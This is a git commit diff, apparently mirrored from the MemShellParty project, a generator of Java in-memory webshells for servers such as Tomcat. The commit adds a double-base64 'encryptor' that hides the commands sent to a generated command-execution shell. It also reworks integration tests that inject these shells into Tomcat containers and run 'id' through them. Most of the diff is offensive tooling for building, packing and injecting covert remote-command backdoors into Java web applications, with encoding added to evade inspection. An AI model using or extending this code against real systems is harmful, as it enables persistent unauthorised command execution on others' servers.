mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support command encryptor
This commit is contained in:
@@ -3,8 +3,10 @@ package com.reajason.javaweb.boot.controller;
|
|||||||
import com.reajason.javaweb.memshell.Packers;
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
import com.reajason.javaweb.memshell.Server;
|
import com.reajason.javaweb.memshell.Server;
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||||
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
import org.springframework.web.bind.annotation.RequestMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
@@ -58,4 +60,9 @@ public class ConfigController {
|
|||||||
}
|
}
|
||||||
return coreMap;
|
return coreMap;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@GetMapping("/command/encryptors")
|
||||||
|
public List<CommandConfig.Encryptor> getCommandEncryptors() {
|
||||||
|
return Arrays.stream(CommandConfig.Encryptor.values()).toList();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
@@ -28,6 +28,7 @@ public class GenerateRequest {
|
|||||||
private String headerName;
|
private String headerName;
|
||||||
private String headerValue;
|
private String headerValue;
|
||||||
private String shellClassBase64;
|
private String shellClassBase64;
|
||||||
|
private String encryptor;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ShellToolConfig parseShellToolConfig() {
|
public ShellToolConfig parseShellToolConfig() {
|
||||||
@@ -48,6 +49,7 @@ public class GenerateRequest {
|
|||||||
case Command -> CommandConfig.builder()
|
case Command -> CommandConfig.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
.paramName(StringUtils.defaultIfBlank(shellToolConfig.getCommandParamName(), CommonUtil.getRandomString(8)))
|
||||||
|
.encryptor(CommandConfig.Encryptor.fromString(shellToolConfig.getEncryptor()))
|
||||||
.build();
|
.build();
|
||||||
case Suo5 -> Suo5Config.builder()
|
case Suo5 -> Suo5Config.builder()
|
||||||
.shellClassName(shellToolConfig.getShellClassName())
|
.shellClassName(shellToolConfig.getShellClassName())
|
||||||
|
|||||||
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell;
|
|||||||
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.generator.*;
|
import com.reajason.javaweb.memshell.generator.*;
|
||||||
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
import com.reajason.javaweb.memshell.server.AbstractShell;
|
import com.reajason.javaweb.memshell.server.AbstractShell;
|
||||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||||
import org.apache.commons.lang3.StringUtils;
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|||||||
@@ -16,4 +16,18 @@ import lombok.experimental.SuperBuilder;
|
|||||||
public class CommandConfig extends ShellToolConfig {
|
public class CommandConfig extends ShellToolConfig {
|
||||||
@Builder.Default
|
@Builder.Default
|
||||||
private String paramName = CommonUtil.getRandomString(8);
|
private String paramName = CommonUtil.getRandomString(8);
|
||||||
|
|
||||||
|
@Builder.Default
|
||||||
|
private Encryptor encryptor = Encryptor.RAW;
|
||||||
|
|
||||||
|
public enum Encryptor {
|
||||||
|
RAW, DOUBLE_BASE64;
|
||||||
|
|
||||||
|
public static Encryptor fromString(String encryptor) {
|
||||||
|
if (encryptor != null && encryptor.equals("DOUBLE_BASE64")) {
|
||||||
|
return DOUBLE_BASE64;
|
||||||
|
}
|
||||||
|
return RAW;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,72 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.lang3.StringUtils;
|
|
||||||
|
|
||||||
import java.util.HashMap;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2024/11/24
|
|
||||||
*/
|
|
||||||
public class CommandGenerator {
|
|
||||||
private final ShellConfig shellConfig;
|
|
||||||
private final CommandConfig commandConfig;
|
|
||||||
|
|
||||||
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
|
||||||
this.shellConfig = shellConfig;
|
|
||||||
this.commandConfig = commandConfig;
|
|
||||||
}
|
|
||||||
|
|
||||||
public DynamicType.Builder<?> getBuilder() {
|
|
||||||
if (commandConfig.getShellClass() == null) {
|
|
||||||
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
|
||||||
}
|
|
||||||
|
|
||||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
|
||||||
.redefine(commandConfig.getShellClass())
|
|
||||||
.name(commandConfig.getShellClassName())
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
|
||||||
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
if (!ShellType.WEBSOCKET.equals(shellType)) {
|
|
||||||
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
|
||||||
builder = builder.visit(
|
|
||||||
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
|
||||||
put("paramName", commandConfig.getParamName());
|
|
||||||
}})
|
|
||||||
);
|
|
||||||
} else {
|
|
||||||
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public byte[] getBytes() {
|
|
||||||
DynamicType.Builder<?> builder = getBuilder();
|
|
||||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+92
@@ -0,0 +1,92 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.*;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
import net.bytebuddy.asm.AsmVisitorWrapper;
|
||||||
|
import net.bytebuddy.description.modifier.Ownership;
|
||||||
|
import net.bytebuddy.description.modifier.Visibility;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import org.apache.commons.lang3.StringUtils;
|
||||||
|
|
||||||
|
import java.util.Collections;
|
||||||
|
import java.util.HashMap;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/11/24
|
||||||
|
*/
|
||||||
|
public class CommandGenerator {
|
||||||
|
private final ShellConfig shellConfig;
|
||||||
|
private final CommandConfig commandConfig;
|
||||||
|
|
||||||
|
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
|
||||||
|
this.shellConfig = shellConfig;
|
||||||
|
this.commandConfig = commandConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public DynamicType.Builder<?> getBuilder() {
|
||||||
|
if (commandConfig.getShellClass() == null) {
|
||||||
|
throw new IllegalArgumentException("commandConfig.getClazz() == null");
|
||||||
|
}
|
||||||
|
|
||||||
|
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||||
|
.redefine(commandConfig.getShellClass())
|
||||||
|
.name(commandConfig.getShellClassName())
|
||||||
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
|
||||||
|
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
|
String shellType = shellConfig.getShellType();
|
||||||
|
|
||||||
|
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
|
||||||
|
builder = builder.visit(
|
||||||
|
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
|
||||||
|
put("paramName", commandConfig.getParamName());
|
||||||
|
}})
|
||||||
|
);
|
||||||
|
} else if (!ShellType.WEBSOCKET.equals(shellType)) {
|
||||||
|
builder = builder.field(named("paramName"))
|
||||||
|
.value(commandConfig.getParamName());
|
||||||
|
}
|
||||||
|
|
||||||
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(commandConfig.getEncryptor())) {
|
||||||
|
builder = builder
|
||||||
|
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
|
.method(named("getParam"),
|
||||||
|
new MethodCallReplaceVisitorWrapper(
|
||||||
|
commandConfig.getShellClassName(),
|
||||||
|
Collections.singleton(ShellCommonUtil.class.getName()))
|
||||||
|
)
|
||||||
|
)
|
||||||
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(String.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
|
}
|
||||||
|
|
||||||
|
return builder;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] getBytes() {
|
||||||
|
DynamicType.Builder<?> builder = getBuilder();
|
||||||
|
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||||
|
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+16
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/27
|
||||||
|
*/
|
||||||
|
public class DoubleBase64ParamInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) {
|
||||||
|
returnValue = ShellCommonUtil.base64DecodeToString(ShellCommonUtil.base64DecodeToString(param));
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -74,7 +74,7 @@ public class ShellCommonUtil {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return value == null ? "" : new String(value);
|
return value == null ? null : new String(value);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static class Base64DecodeToStringInterceptor {
|
public static class Base64DecodeToStringInterceptor {
|
||||||
@@ -96,7 +96,7 @@ public class ShellCommonUtil {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
returnValue = value == null ? "" : new String(value);
|
returnValue = value == null ? null : new String(value);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+31
-6
@@ -1,13 +1,16 @@
|
|||||||
package com.reajason.javaweb.memshell.tomcat.command;
|
package com.reajason.javaweb.memshell.tomcat.command;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
import com.reajason.javaweb.memshell.*;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.CommandGenerator;
|
import com.reajason.javaweb.memshell.generator.command.CommandGenerator;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
|
||||||
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
import com.reajason.javaweb.memshell.shelltool.command.CommandValve;
|
||||||
import com.reajason.javaweb.util.ClassUtils;
|
import com.reajason.javaweb.util.ClassUtils;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
import org.junit.jupiter.params.ParameterizedTest;
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
import org.junit.jupiter.params.provider.Arguments;
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
import org.junit.jupiter.params.provider.MethodSource;
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
@@ -36,15 +39,37 @@ class CommandFilterTest {
|
|||||||
@MethodSource("casesProvider")
|
@MethodSource("casesProvider")
|
||||||
void generate(String shellType, Class<?> clazz, String className) {
|
void generate(String shellType, Class<?> clazz, String className) {
|
||||||
ShellConfig generateConfig = new ShellConfig();
|
ShellConfig generateConfig = new ShellConfig();
|
||||||
CommandConfig shellConfig = CommandConfig.builder()
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
.shellClass(clazz)
|
.shellClass(clazz)
|
||||||
.shellClassName(className)
|
.shellClassName(className)
|
||||||
.paramName("cmd")
|
.paramName("cmd")
|
||||||
.build();
|
.build();
|
||||||
generateConfig.setShellType(shellType);
|
generateConfig.setShellType(shellType);
|
||||||
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
|
byte[] bytes = new CommandGenerator(generateConfig, commandConfig).getBytes();
|
||||||
Object obj = ClassUtils.newInstance(bytes);
|
Object obj = ClassUtils.newInstance(bytes);
|
||||||
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
|
assertEquals(commandConfig.getShellClassName(), obj.getClass().getName());
|
||||||
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
assertEquals(commandConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));
|
||||||
|
}
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testGenerator() throws Exception {
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(Server.Tomcat)
|
||||||
|
.shellType(ShellType.FILTER)
|
||||||
|
.shellTool(ShellTool.Command)
|
||||||
|
.build();
|
||||||
|
|
||||||
|
CommandConfig commandConfig = CommandConfig.builder()
|
||||||
|
.shellClass(CommandFilter.class)
|
||||||
|
.shellClassName("org.apache.utils.CommandFilter")
|
||||||
|
.paramName("cmd")
|
||||||
|
.encryptor(CommandConfig.Encryptor.DOUBLE_BASE64)
|
||||||
|
.build();
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
|
||||||
|
GenerateResult generate = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig);
|
||||||
|
// Files.write(Paths.get("hehe.class"), generate.getShellBytes());
|
||||||
|
String pack = Packers.ScriptEngine.getInstance().pack(generate);
|
||||||
|
System.out.println(pack);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+49
-25
@@ -20,6 +20,7 @@ import org.testcontainers.containers.GenericContainer;
|
|||||||
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
import org.testcontainers.shaded.org.apache.commons.io.FileUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
|
import org.testcontainers.shaded.org.apache.commons.lang3.StringUtils;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
||||||
import org.testcontainers.utility.MountableFile;
|
import org.testcontainers.utility.MountableFile;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
@@ -53,9 +54,8 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
public static Pair<String, String> getUrls(String url, String shellType, ShellTool shellTool, Packers packer) {
|
||||||
String shellUrl = url + "/test";
|
String shellUrl = url + "/test";
|
||||||
|
|
||||||
String urlPattern = null;
|
String urlPattern = null;
|
||||||
if (shellType.endsWith(ShellType.SERVLET)
|
if (shellType.endsWith(ShellType.SERVLET)
|
||||||
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|
||||||
@@ -71,9 +71,26 @@ public class ShellAssertionTool {
|
|||||||
URL url1 = new URL(url);
|
URL url1 = new URL(url);
|
||||||
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
|
shellUrl = "ws://" + url1.getHost() + ":" + url1.getPort() + url1.getPath() + urlPattern;
|
||||||
}
|
}
|
||||||
|
return Pair.of(shellUrl, urlPattern);
|
||||||
|
}
|
||||||
|
|
||||||
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, packer);
|
@SneakyThrows
|
||||||
|
public static void testShellInjectAssertOk(String url, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
|
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
|
||||||
|
String shellUrl = urls.getLeft();
|
||||||
|
String urlPattern = urls.getRight();
|
||||||
|
|
||||||
|
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
|
||||||
|
|
||||||
|
GenerateResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
|
||||||
|
|
||||||
|
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
|
||||||
|
|
||||||
|
assertShellIsOk(generateResult, shellUrl, shellTool, shellType, appContainer, pythonContainer);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void packerResultAndInject(GenerateResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
|
||||||
String content = null;
|
String content = null;
|
||||||
if (packer.getInstance() instanceof JarPacker) {
|
if (packer.getInstance() instanceof JarPacker) {
|
||||||
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult);
|
||||||
@@ -96,16 +113,19 @@ public class ShellAssertionTool {
|
|||||||
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
assertInjectIsOk(url, shellType, shellTool, content, packer, appContainer);
|
||||||
log.info("send inject payload successfully");
|
log.info("send inject payload successfully");
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SneakyThrows
|
||||||
|
public static void assertShellIsOk(GenerateResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
case Godzilla:
|
case Godzilla:
|
||||||
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
testGodzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
|
||||||
break;
|
break;
|
||||||
case Command:
|
case Command:
|
||||||
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
if (shellType.endsWith(ShellType.WEBSOCKET)) {
|
||||||
testWebSocketCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
testWebSocketCommandIsOk(shellUrl, "id");
|
||||||
} else {
|
} else {
|
||||||
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()));
|
testCommandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id");
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
case Behinder:
|
case Behinder:
|
||||||
@@ -144,11 +164,11 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@SneakyThrows
|
@SneakyThrows
|
||||||
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig) {
|
public static void testCommandIsOk(String entrypoint, CommandConfig shellConfig, String payload) {
|
||||||
OkHttpClient okHttpClient = new OkHttpClient();
|
OkHttpClient okHttpClient = new OkHttpClient();
|
||||||
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint))
|
||||||
.newBuilder()
|
.newBuilder()
|
||||||
.addQueryParameter(shellConfig.getParamName(), "id")
|
.addQueryParameter(shellConfig.getParamName(), payload)
|
||||||
.build();
|
.build();
|
||||||
Request request = new Request.Builder()
|
Request request = new Request.Builder()
|
||||||
.url(url)
|
.url(url)
|
||||||
@@ -161,7 +181,8 @@ public class ShellAssertionTool {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void testWebSocketCommandIsOk(String entrypoint, CommandConfig shellConfig) throws Exception {
|
@SneakyThrows
|
||||||
|
public static void testWebSocketCommandIsOk(String entrypoint, String payload) {
|
||||||
final CountDownLatch latch = new CountDownLatch(1);
|
final CountDownLatch latch = new CountDownLatch(1);
|
||||||
final String[] responseHolder = new String[1];
|
final String[] responseHolder = new String[1];
|
||||||
final long timeout = 5;
|
final long timeout = 5;
|
||||||
@@ -169,7 +190,7 @@ public class ShellAssertionTool {
|
|||||||
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
WebSocketClient client = new WebSocketClient(new URI(entrypoint)) {
|
||||||
@Override
|
@Override
|
||||||
public void onOpen(ServerHandshake data) {
|
public void onOpen(ServerHandshake data) {
|
||||||
send("id");
|
send(payload);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
@@ -220,22 +241,7 @@ public class ShellAssertionTool {
|
|||||||
assertTrue(antSwordManager.getInfo().contains("ok"));
|
assertTrue(antSwordManager.getInfo().contains("ok"));
|
||||||
}
|
}
|
||||||
|
|
||||||
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
|
public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) {
|
||||||
InjectorConfig injectorConfig = new InjectorConfig();
|
|
||||||
if (StringUtils.isNotBlank(urlPattern)) {
|
|
||||||
injectorConfig.setUrlPattern(urlPattern);
|
|
||||||
}
|
|
||||||
|
|
||||||
ShellConfig shellConfig = ShellConfig.builder()
|
|
||||||
.server(server)
|
|
||||||
.shellTool(shellTool)
|
|
||||||
.shellType(shellType)
|
|
||||||
.targetJreVersion(targetJdkVersion)
|
|
||||||
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
|
|
||||||
.debug(true)
|
|
||||||
.shrink(true)
|
|
||||||
.build();
|
|
||||||
|
|
||||||
ShellToolConfig shellToolConfig = null;
|
ShellToolConfig shellToolConfig = null;
|
||||||
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
|
||||||
switch (shellTool) {
|
switch (shellTool) {
|
||||||
@@ -287,6 +293,24 @@ public class ShellAssertionTool {
|
|||||||
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
|
log.info("generated {} NeoreGeorg with Referer: {}", shellType, uniqueName);
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
return shellToolConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static GenerateResult generate(String urlPattern, Server server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
|
||||||
|
InjectorConfig injectorConfig = new InjectorConfig();
|
||||||
|
if (StringUtils.isNotBlank(urlPattern)) {
|
||||||
|
injectorConfig.setUrlPattern(urlPattern);
|
||||||
|
}
|
||||||
|
|
||||||
|
ShellConfig shellConfig = ShellConfig.builder()
|
||||||
|
.server(server)
|
||||||
|
.shellTool(shellTool)
|
||||||
|
.shellType(shellType)
|
||||||
|
.targetJreVersion(targetJdkVersion)
|
||||||
|
.byPassJavaModule(targetJdkVersion >= Opcodes.V9)
|
||||||
|
.debug(true)
|
||||||
|
.shrink(true)
|
||||||
|
.build();
|
||||||
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+91
@@ -0,0 +1,91 @@
|
|||||||
|
package com.reajason.javaweb.integration.tomcat;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.integration.ShellAssertionTool;
|
||||||
|
import com.reajason.javaweb.memshell.Packers;
|
||||||
|
import com.reajason.javaweb.memshell.Server;
|
||||||
|
import com.reajason.javaweb.memshell.ShellTool;
|
||||||
|
import com.reajason.javaweb.memshell.ShellType;
|
||||||
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.GenerateResult;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import lombok.extern.slf4j.Slf4j;
|
||||||
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
import org.junit.jupiter.api.AfterAll;
|
||||||
|
import org.junit.jupiter.params.ParameterizedTest;
|
||||||
|
import org.junit.jupiter.params.provider.Arguments;
|
||||||
|
import org.junit.jupiter.params.provider.MethodSource;
|
||||||
|
import org.testcontainers.containers.GenericContainer;
|
||||||
|
import org.testcontainers.containers.wait.strategy.Wait;
|
||||||
|
import org.testcontainers.junit.jupiter.Container;
|
||||||
|
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.RandomStringUtils;
|
||||||
|
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
|
||||||
|
|
||||||
|
import java.util.Base64;
|
||||||
|
import java.util.stream.Stream;
|
||||||
|
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||||
|
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||||
|
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||||
|
import static org.hamcrest.MatcherAssert.assertThat;
|
||||||
|
import static org.junit.jupiter.params.provider.Arguments.arguments;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/28
|
||||||
|
*/
|
||||||
|
@Testcontainers
|
||||||
|
@Slf4j
|
||||||
|
public class Tomcat8CommandEncryptorContainerTest {
|
||||||
|
public static final String imageName = "tomcat:8-jre8";
|
||||||
|
|
||||||
|
@Container
|
||||||
|
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||||
|
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
|
||||||
|
.waitingFor(Wait.forHttp("/app"))
|
||||||
|
.withExposedPorts(8080);
|
||||||
|
|
||||||
|
static Stream<Arguments> casesProvider() {
|
||||||
|
return Stream.of(
|
||||||
|
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
|
||||||
|
